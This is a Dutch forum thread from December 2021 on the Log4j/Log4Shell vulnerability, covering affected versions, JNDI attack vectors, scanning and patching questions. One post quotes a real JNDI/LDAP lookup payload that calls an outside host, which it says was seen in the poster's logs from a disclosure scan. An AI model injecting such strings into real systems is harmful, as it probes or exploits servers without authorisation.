Zero day vulnerability in Log4J

[dok33]

Het verbaast me een beetje dat niemand het hier nog over heeft. Ik had al wel een artikel verwacht op Tweakers. Het is zo makkelijk te misbruiken namelijk...

https://www.lunasec.io/docs/blog/log4j-zero-day/

https://www.ncsc.nl/actueel/advisory?id=NCSC-2021-1052

Log4j doet blijkbaar lookups binnen datgene wat ie moet loggen, waardoor er via JNDI code geladen kan worden. Best ernstig.

Misschien heeft iedereen het al te druk met oplossen, zodat ze er niet over kunnen schrijven?

[MAX3400]

Heb je het gemeld via https://tweakers.net/submit/ ?
Waarom vind je het zo makkelijk te misbruiken aangezien er veel (oude) JDK's niet geraakt zijn?

Overigens, en allicht lees ik verkeerd: het gaat alleen om servers die direct aan het internet hangen. Als jij Log4J op een "secondary" server inzet die alleen tegen de primary http-daemon praat, dan is je attack-vector ongeveer 0 omdat je als "hacker" eerst de http-daemon moet openbreken voordat je uberhaupt weet waar Log4J draait.

Maar, hoor graag je mening

/edit: JDK - released oktober 2018 -> alles sinds die tijd is niet vulnerable?

[ Voor 7% gewijzigd door MAX3400 op 10-12-2021 14:20 ]

[dok33]

Ben heel benieuwd hoe je er bij komt dat versies sinds oktober 2018 niet affected zouden zijn. Dat haal ik er niet uit. Alles tussen 2.0 en 2.15, is wat ik zie. Dus vanaf 2014 tot afgelopen maandag.

De attack vector via LDAP is bij nieuwere versies JDK niet aanwezig, maar andere mogelijkheden zijn er wel
"However, there are other attack vectors targeting this vulnerability which can result in RCE. Depending on what code is present on the server, an attacker could leverage this existing code to execute a payload."
En zelfs al met een voorbeeld, inmiddels, waarmee tomcat severs kunnen worden aangevallen.

Ik denk dat Java devs echt druk moeten zijn met upgraden als ze log4j versie 2 hebben

[Wilke]

nieuws: Ernstige kwetsbaarheid in Apache Log4j 2 kan duizenden organisaties t...

Staat inmiddels op de FP dus.

[MAX3400]

MAX3400 schreef op vrijdag 10 december 2021 @ 14:15:
Waarom vind je het zo makkelijk te misbruiken aangezien er veel (oude) JDK's niet geraakt zijn?
...
/edit: JDK - released oktober 2018 -> alles sinds die tijd is niet vulnerable?

+

dok33 schreef op vrijdag 10 december 2021 @ 15:40:
Ben heel benieuwd hoe je er bij komt dat versies sinds oktober 2018 niet affected zouden zijn.

+

Alles tussen 2.0 en 2.15

NCSC: Onderzoekers hebben vastgesteld dat JDK versies 6u211, 7u201, 8u191, 11.0.1 en hoger niet gevoelig zijn voor de aanval


Ik mis dus even hoe je Apache-versies en JDK-versies door elkaar gooit?

[dok33]

NCSC: Onderzoekers hebben vastgesteld dat JDK versies 6u211, 7u201, 8u191, 11.0.1 en hoger niet gevoelig zijn voor de aanval


Ik mis dus even hoe je Apache-versies en JDK-versies door elkaar gooit?

Je vergeet te vertellen dat dat alleen gaat over de LDAP aanval versie. Er zijn andere mogelijkheden, zoals via tomcat's org.apache.naming.factory.BeanFactory

[Verwijderd]

Meestal is Tweakers met opzet wat "trager" met dit soort nieuws.

Er zijn genoeg outlets die paniekerig allemaal nieuws van elkaar gaan copy-pasten, dat dit het eind der tijden is. Heel InfoSec Twitter buitelt over elkaar heen om hier een duidinkje aan te geven.

Tweakers wacht vaak ff en geeft dan een artikel wat er echt is.

Vind het zelf wel prima!

[dok33]

Nog even wat duiding:

https://logging.apache.org/log4j/2.x/security.html

Descripton: Apache Log4j2 <=2.14.1 JNDI features used in configuration, log messages, and parameters do not protect against attacker controlled LDAP and other JNDI related endpoints.

[DinX]

MAX3400 schreef op vrijdag 10 december 2021 @ 14:15:
Heb je het gemeld via https://tweakers.net/submit/ ?
Waarom vind je het zo makkelijk te misbruiken aangezien er veel (oude) JDK's niet geraakt zijn?

Overigens, en allicht lees ik verkeerd: het gaat alleen om servers die direct aan het internet hangen. Als jij Log4J op een "secondary" server inzet die alleen tegen de primary http-daemon praat, dan is je attack-vector ongeveer 0 omdat je als "hacker" eerst de http-daemon moet openbreken voordat je uberhaupt weet waar Log4J draait.

Maar, hoor graag je mening

/edit: JDK - released oktober 2018 -> alles sinds die tijd is niet vulnerable?

Dit gaat in de praktijk veel verder kunnen gaan dan louter wat web servers die rechtstreeks aan het internet hangen. Het gaat zelfs verder dan enkel web servers.

Dat het van Apache is betekent niet dat het enkel door de Apache web server gebruikt. Dit kan gebruikt worden door zowat alles wat Java gebruikt. Zo wordt dit ook gebruikt door Logstash, Elasticsearch,...
Zodra die library gebruikt wordt en dit aangeroepen wordt wordt de code in kwestie uitgevoerd.

Het hoeft zelfs niet enkel via een online aanval te gaan. Hoeveel systemen maken er tegenwoordig gebruik van barcode en QR codes? Wat als die de input van de scans loggen?

Denk hierbij aan ziekenhuizen die bezoekerscodes afdrukken (met poortjes aan de ingang bijvoorbeeld), parkeerautomaten, de bagageafhandeling op de luchthaven, koerierdiensten, supermarkten, warehouses, ...

Ik weet niet in detail hoe geautomatiseerd het scannen in de depots van koerierdiensten werkt, maar als die elke code scannen die ze zien op een pakje en dit loggen heb je als het ware een mogelijkheid om bij elke tussenliggende scan van zo'n pakketje de string in kwestie te laten loggen.

Er zijn inmiddels al een hoop voorbeelden in de praktijk te vinden online. Van inderdaad de chat van Minecraft, tot het veranderen van de naam van je iPhone in die string.

Dit valt allemaal simpel te testen door even een subdomeintje aan te maken op dnslog.cn en de string met dat subdomein te gebruiken op diverse plaatsen.

[NaliXL]

Ik krijg vanmorgen een vreemde foutmelding betreffende de nl.archive.ubuntu.com servers bij een apt update, namelijk "Failed to fetch http://nl.archive.ubuntu....md64.deb?ohdbaaaimopphdje Redirection loop encountered". Is het mogelijk dat die ten prooi gevallen zijn aan deze kwetsbaarheid?

[Yarisken]

Iemand enig idee of er al een online scanner is die op log4j kan scannen ?

Ik heb net nog een solr install nagekeken en daar zat ook log4j 1.13.2 in die dus kwetsbaar is.

Probleem is je remote control kan hebben over een machine .. met gewoon 1 string te sturen die een payload download en uitvoert ... dit is gewoon te easy ... en als je weet hoe er gepatched wordt in de wereld dan is dit een issue dat nog jaren gaat meegaan.

[MAX3400]

Yarisken schreef op maandag 13 december 2021 @ 17:51:
Iemand enig idee of er al een online scanner is die op log4j kan scannen ?

Blijkbaar wel want de logging van mijn Fortigates ziet helemaal rood van de pogingen uit "Rusland"...

[Yarisken]

MAX3400 schreef op maandag 13 december 2021 @ 17:53:
[...]

Blijkbaar wel want de logging van mijn Fortigates ziet helemaal rood van de pogingen uit "Rusland"...

Ik bedoelde een legale die wij kunnen gebruiken . Ik heb liggen mitigeren maar ik wil toch nog is scannen voor de zekerheid ...

[laurens0619]

@Yarisken alleen 2.x is kwetsbaar
Scannen van de buitenkant is lastig, je moet dan echt actief “aanvallen” en kijlen of je het dns request terugziet
https://github.com/fullhunt/log4j-scan

Vanaf de buitenkant zie je verder geen log4j

Scannen aan de binnenkant is makkelijker, vooral als je iets als defender atp op je systemen hebt draaien.

[erwn]

Yarisken schreef op maandag 13 december 2021 @ 17:51:
Ik heb net nog een solr install nagekeken en daar zat ook log4j 1.13.2 in die dus kwetsbaar is.

laurens0619 schreef op dinsdag 14 december 2021 @ 00:47:
@Yarisken alleen 2.x is kwetsbaar

Op https://github.com/apache...08#issuecomment-990494126 leggen ze uit waarom 1.0 niet kwetsbaar is voor aanvallen van buitenaf. Enkel via configuratie zou er JNDI gebruikt kunnen worden.

[downtime]

erwn schreef op dinsdag 14 december 2021 @ 07:30:
[...]


[...]


Op https://github.com/apache...08#issuecomment-990494126 leggen ze uit waarom 1.0 niet kwetsbaar is voor aanvallen van buitenaf. Enkel via configuratie zou er JNDI gebruikt kunnen worden.

Klopt. Maar er zijn wel andere kwetsbaarheden voor 1.x en die versie wordt ook niet meer onderhouden. Dat kan een issue worden want heel wat mensen gaan nu de source van 1.x uitpluizen op zoek naar andere kwetsbaarheden.

Niettemin zou ik me voor de korte termijn veiliger voelen met 1.x dan met een kwetsbare 2.x.

[biggydeen2]

Wat ik nog niet begrijp is of de genoemde strings die een mogelijke aanval tonen altijd zichtbaar zijn in de logs of je nu vulnerable bent of niet? In het MS artikel: https://www.microsoft.com...228-log4j-2-exploitation/

Spreken ze dat "ze" vooral scannen. Maar dit artikel https://www.binarydefense...erability-cve-2021-44228/ spreekt weer over "The best source of evidence of an attack" is als je een van de genoemde strings ziet.

Oftewel als je iets ziet in de logs met een van deze strings ben je dan alleen gescanned op kwetsbaarheid of is er een aanval poging gedaan en ben je kwetsbaar?

[downtime]

biggydeen2 schreef op woensdag 15 december 2021 @ 16:40:

Oftewel als je iets ziet in de logs met een van deze strings ben je dan alleen gescanned op kwetsbaarheid of is er een aanval poging gedaan en ben je kwetsbaar?

Dat is hetzelfde. Er wordt gescanned door aanvallen te doen en te kijken of het lukt. Pas na een geslaagde aanval kun je gerichter werken en zoeken hoe je ook echt misbruik kunt maken van de gevonden kwetsbaarheid.

[n9iels]

biggydeen2 schreef op woensdag 15 december 2021 @ 16:40:
Oftewel als je iets ziet in de logs met een van deze strings ben je dan alleen gescanned op kwetsbaarheid of is er een aanval poging gedaan en ben je kwetsbaar?

Het kan beide betekenen. Met die string kan een ogenschuldige scan worden uitgevoerd die aan de kan van de aanvaller enkel een connectie opzet. Maar de kant van de aanvaller kan ook al code bevatten die dan uitgevoerd, dus kun je aan die string alleen eigenlijk niet zien.

[Yarisken]

Boys,
Nog even een vraagje, wij krijgen hier meldingen van microsoft van onze azure tenant dat log4j applicaties zijn gevonden en om te patchen.
Mooi, is al gepatched ... alleen die zitten IN onze systemen te scannen, anders kunnen ze dat niet weten Het gaat hier over vm's en docker instances.
Kan dit of doen ze dat op een andere manier ?
Al onze systemen hebben een workaround gehad dus normaal met externe scanner is het niet op te merken / kwetsbaar.

[init6]

Yarisken schreef op woensdag 15 december 2021 @ 18:36:
Boys,
Nog even een vraagje, wij krijgen hier meldingen van microsoft van onze azure tenant dat log4j applicaties zijn gevonden en om te patchen.
Mooi, is al gepatched ... alleen die zitten IN onze systemen te scannen, anders kunnen ze dat niet weten Het gaat hier over vm's en docker instances.
Kan dit of doen ze dat op een andere manier ?
Al onze systemen hebben een workaround gehad dus normaal met externe scanner is het niet op te merken / kwetsbaar.

Waarom zouden ze dit niet kunnen?

[Yarisken]

init6 schreef op woensdag 15 december 2021 @ 18:40:
[...]

Waarom zouden ze dit niet kunnen?

Die systemen boeit me niet maar het is onze data die in die systemen zit .... Dan kunnen ze daar ook aan ...

[stuffer]

Yarisken schreef op woensdag 15 december 2021 @ 19:42:
[...]


Die systemen boeit me niet maar het is onze data die in die systemen zit .... Dan kunnen ze daar ook aan ...

Het blijft toch een beetje:
The cloud is just someone else's computer....

Maar voor nu had je een mooie waarschuwing waar je op kon reageren.

[biggydeen2]

n9iels schreef op woensdag 15 december 2021 @ 17:03:

Dat is hetzelfde. Er wordt gescanned door aanvallen te doen en te kijken of het lukt. Pas na een geslaagde aanval kun je gerichter werken en zoeken hoe je ook echt misbruik kunt maken van de gevonden kwetsbaarheid.

n9iels schreef op woensdag 15 december 2021 @ 17:03:

Het kan beide betekenen. Met die string kan een ogenschuldige scan worden uitgevoerd die aan de kan van de aanvaller enkel een connectie opzet. Maar de kant van de aanvaller kan ook al code bevatten die dan uitgevoerd, dus kun je aan die string alleen eigenlijk niet zien.

Als ik het goed begrijp ziet dus iedereen (mensen die gescanned/aangevallen worden) deze strings in de log of je nu kwetsbaar bent of niet correct? En pas als je kwetsbaar bent kan er code uitgevoerd worden.

[Verwijderd]

Yarisken schreef op woensdag 15 december 2021 @ 19:42:
[...]


Die systemen boeit me niet maar het is onze data die in die systemen zit .... Dan kunnen ze daar ook aan ...

Ze kunnen toch gewoon zien dat je VM's en resource groups hebt? Niet wat er in je data zelf zit.

Volgens mij kan je trouwens wel een specifiek beleid configureren waarmee Microsoft alleen bij je omgeving mag als je daar specifiek toegang voor geeft.

[Yarisken]

Verwijderd schreef op donderdag 16 december 2021 @ 10:36:
[...]

Ze kunnen toch gewoon zien dat je VM's en resource groups hebt? Niet wat er in je data zelf zit.

Volgens mij kan je trouwens wel een specifiek beleid configureren waarmee Microsoft alleen bij je omgeving mag als je daar specifiek toegang voor geeft.

Wij kregen meldingen dat log4j gevonden was op onze servers. Dus ze moeten wel iets hebben gescand in de vm's en dockers ....

[downtime]

biggydeen2 schreef op donderdag 16 december 2021 @ 10:31:
[...]

Als ik het goed begrijp ziet dus iedereen (mensen die gescanned/aangevallen worden) deze strings in de log of je nu kwetsbaar bent of niet correct? En pas als je kwetsbaar bent kan er code uitgevoerd worden.

Ja. Bij onze webservers zag wij die aanvallen ook hoewel die niet eens log4j draaien.

[DJMaze]

Niet alleen aanvallen. Op mijn servers kwam "Stichting Dutch Institute for Vulnerability Disclosure" ook langs met een log4j scan.

code:

${jndi:ldap://divd-d2887f2ef8a03e51c99ddd8d936653de_${date:YYYYMMddHHmmss}_https_User-Agent.log4jdns.x00.it/}

Alle aanvallen willen tot nu toe LDAP toegang.

[ Voor 7% gewijzigd door DJMaze op 16-12-2021 17:33 ]

[init6]

Yarisken schreef op woensdag 15 december 2021 @ 19:42:
[...]


Die systemen boeit me niet maar het is onze data die in die systemen zit .... Dan kunnen ze daar ook aan ...

Zolang jij je machines niet encrypt, en niet werkt met vpn tunnels of ander manier van encryptie dan kunnen ze altijd bij je machines. En dan zelfs nog kunnen ze je virtuele machine memory state dumpen en uitlezen. Het is een beetje het gevolg van in een cloud draaien. Voordeel is dat ze dit vaak voor goede dingen gebruiken zoals een dienst ontwikkelen die jou weer helpt bij het beveiligen van je diensten. Het is een manier om je nog meer vendor locked te maken, want zodra je de cloud verlaat moet je dit soort dingen zelf doen en daar hebben steeds minder mensen zin in.

Zo lang je geen concurrerende diensten ontwikkeld voor Microsoft zal je prima zitten, doe je dat wel dan kan het dat je in een situatie zoals veel aanbieders die op Amazon zitten of zoals met Elastic, zodra het product verkoopt gaan ze het zelf aanbieden omdat ze inzichten hebben in je verkoopcijfers, de machines die je draait of de bandwidth die je gebruikt.

[F_J_K]

Yarisken schreef op woensdag 15 december 2021 @ 18:36:
Boys,
Nog even een vraagje, wij krijgen hier meldingen van microsoft van onze azure tenant dat log4j applicaties zijn gevonden en om te patchen.

Valide vraag, maar stel die ajb even in een eigen los topic.

[BreadFan]

Vraagje, wat me niet helemaal helder is. Ik heb de 2.17 zip gedownload https://www.apache.org/dy...ache-log4j-2.17.0-bin.zip

Als er ergens een log4j-core-2.15.0.jar staat bijvoorbeeld, vervang ik deze door log4j-core-2.17.0.jar uit de zip van Apache.

Soms zie ik ook een file genaamd log4j-core.jar, zonder versienummer daarin. Moet ik deze nou ook vervangen door log4j-core-2.17.0.jar ?

Ik mis ergens heldere patchinstructies.

[Meekoh]

BreadFan schreef op dinsdag 21 december 2021 @ 08:54:
Vraagje, wat me niet helemaal helder is. Ik heb de 2.17 zip gedownload https://www.apache.org/dy...ache-log4j-2.17.0-bin.zip

Als er ergens een log4j-core-2.15.0.jar staat bijvoorbeeld, vervang ik deze door log4j-core-2.17.0.jar uit de zip van Apache.

Soms zie ik ook een file genaamd log4j-core.jar, zonder versienummer daarin. Moet ik deze nou ook vervangen door log4j-core-2.17.0.jar ?

Ik mis ergens heldere patchinstructies.

Hangt ervanaf natuurlijk. Is dit software die je zelf hebt gemaakt? Als je probeerd bestaande apps van vendors te "patchen" dan zou ik eerst even kijken of die vendor niet al een kant en klare patch voor je heeft.

Het is ook niet alleen 2.15.0 die kwetsbaar is, maar alles tussen 2.0-beta9 to 2.15.0, exclusief 2.12.2.
Iets meer info zou helpen. En anders probeer je het toch op een test omgeving? jar vervangen en kijken of App nog werkt.

[ Voor 12% gewijzigd door Meekoh op 21-12-2021 11:47 ]

[BreadFan]

Nee, ik ben geen developer. Ben misschien daarom ook niet zo thuis in die materie.

Mbt. je 2e alinea, daar ben ik van op de hoogte.

[Arie-]

Wat @Meekoh zegt, `normaal` gesproken is dit allemaal `alleen` relevant voor developers. Zij moeten hun codebases doorlopen om te zien waar zij gebruik maken van deze library. Waar dat het geval is hun software opnieuw bouwen met de geupdate log4j library en de geupdate software vervolgens verspreiden, de eindgebruiker kan hier eigenlijk niet zoveel mee. Wat wil je precies bereiken @BreadFan ?

[ Voor 14% gewijzigd door Arie- op 21-12-2021 14:01 ]

[chrisO]

BreadFan schreef op dinsdag 21 december 2021 @ 08:54:
Vraagje, wat me niet helemaal helder is. Ik heb de 2.17 zip gedownload https://www.apache.org/dy...ache-log4j-2.17.0-bin.zip

Als er ergens een log4j-core-2.15.0.jar staat bijvoorbeeld, vervang ik deze door log4j-core-2.17.0.jar uit de zip van Apache.

Soms zie ik ook een file genaamd log4j-core.jar, zonder versienummer daarin. Moet ik deze nou ook vervangen door log4j-core-2.17.0.jar ?

Ik mis ergens heldere patchinstructies.

Je zou die log4j-core.jar kunnen openen mbv 7-zip of zoiets en dan controleren of het pad "org/apache/logging/log4j/core/lookup" bestaat. Als het pad bestaat dan is het een Log4j2 versie en die kan je vervangen/patchen met log4j-core-2.17.0.jar. Bestaat het pad niet dan is het een Log4j 1.x versie die je niet hoeft te patchen met 2.17.0.

[BreadFan]

Thanks @chrisO , ik ga het bekijken.

@Arie- Wat ik wil bereiken is dat mijn systemen niet meer vulnerable zijn

[Webgnome]

[L0g0ff]

Gaan we weer!



https://twitter.com/YNizr...Z9lIxLWbzPM09W6nMSgw&s=19

[ Voor 48% gewijzigd door L0g0ff op 28-12-2021 19:10 ]

[BytePhantomX]

L0g0ff schreef op dinsdag 28 december 2021 @ 19:09:
Gaan we weer!

[Afbeelding]

https://twitter.com/YNizr...Z9lIxLWbzPM09W6nMSgw&s=19

Zeker niet hetzelfde. Zie frontpage of dit twitter draadje: https://twitter.com/GossiTheDog/status/1475824475333668876

[L0g0ff]

BytePhantomX schreef op woensdag 29 december 2021 @ 14:47:
[...]


Zeker niet hetzelfde. Zie frontpage of dit twitter draadje: https://twitter.com/GossiTheDog/status/1475824475333668876

Ja dat blijkt vandaag. Maar gisteren was dat nog niet bekend.

En er is was wel degelijk een RCE gevonden. Dus die gast van die Twitter post had wel een punt. Alleen de impact is wel iets minder groot dan die had aangekondigd.

https://advisories.ncsc.nl/advisory?id=NCSC-2021-1094

[BytePhantomX]

Gisteren was het nog niet bekend, maar dit soort dingen kun je beter maar een beetje afwachtend zijn als niet duidelijk is wat er precies aan de hand is.
En de onderzoeker noemt het geen RCE meer, maar een ACE. Het maak qua impact echt een enorm verschil.

Ik ageer vooral ook tegen alle FUD en paniek die verspreid wordt. Bij de eerste was paniek echt wel terecht, maar we moeten daar niet in blijven hangen met alles wat daarna komt.

[L0g0ff]

BytePhantomX schreef op woensdag 29 december 2021 @ 19:08:
Ik ageer vooral ook tegen alle FUD en paniek die verspreid wordt. Bij de eerste was paniek echt wel terecht, maar we moeten daar niet in blijven hangen met alles wat daarna komt.

Ja daar ben ik het wel mee eens. Maar op zich is het goed om al in de startblokken te staan als je weet weer een log4j update/mitigation aan zit te komen een dag van te voren. Log4j is nogal een vervelende gebleken die behoorlijk wat impact had qua patch/mitigation beleid.

[NeFoRcE]

Ik vind e.e.a. toch niet zo helder. Overal lees je log4J maar onderstaande is mij nog niet helemaal duidelijk.

Heb wat servers nu de config van ElasticSearch aangepast met -Dlog4j2.formatMsgNoLookups=true
verder met een log4j kwetsbaarheidchecker nog checks gedaan, maar niet echt wat gevonden.

Rest mij nog 1 vraag eigenlijk. Moet ik apache2/httpd nu ook nog bijwerken? Of staat dat helemaal los van die log4j?

[ Voor 6% gewijzigd door NeFoRcE op 30-12-2021 12:00 ]

[downtime]

NeFoRcE schreef op donderdag 30 december 2021 @ 12:00:

Rest mij nog 1 vraag eigenlijk. Moet ik apache2/httpd nu ook nog bijwerken? Of staat dat helemaal los van die log4j?

Dat staat er helemaal los van. Apache gebruikt geen Java en Log4j is juist een Java library.

[ Voor 10% gewijzigd door downtime op 30-12-2021 12:46 ]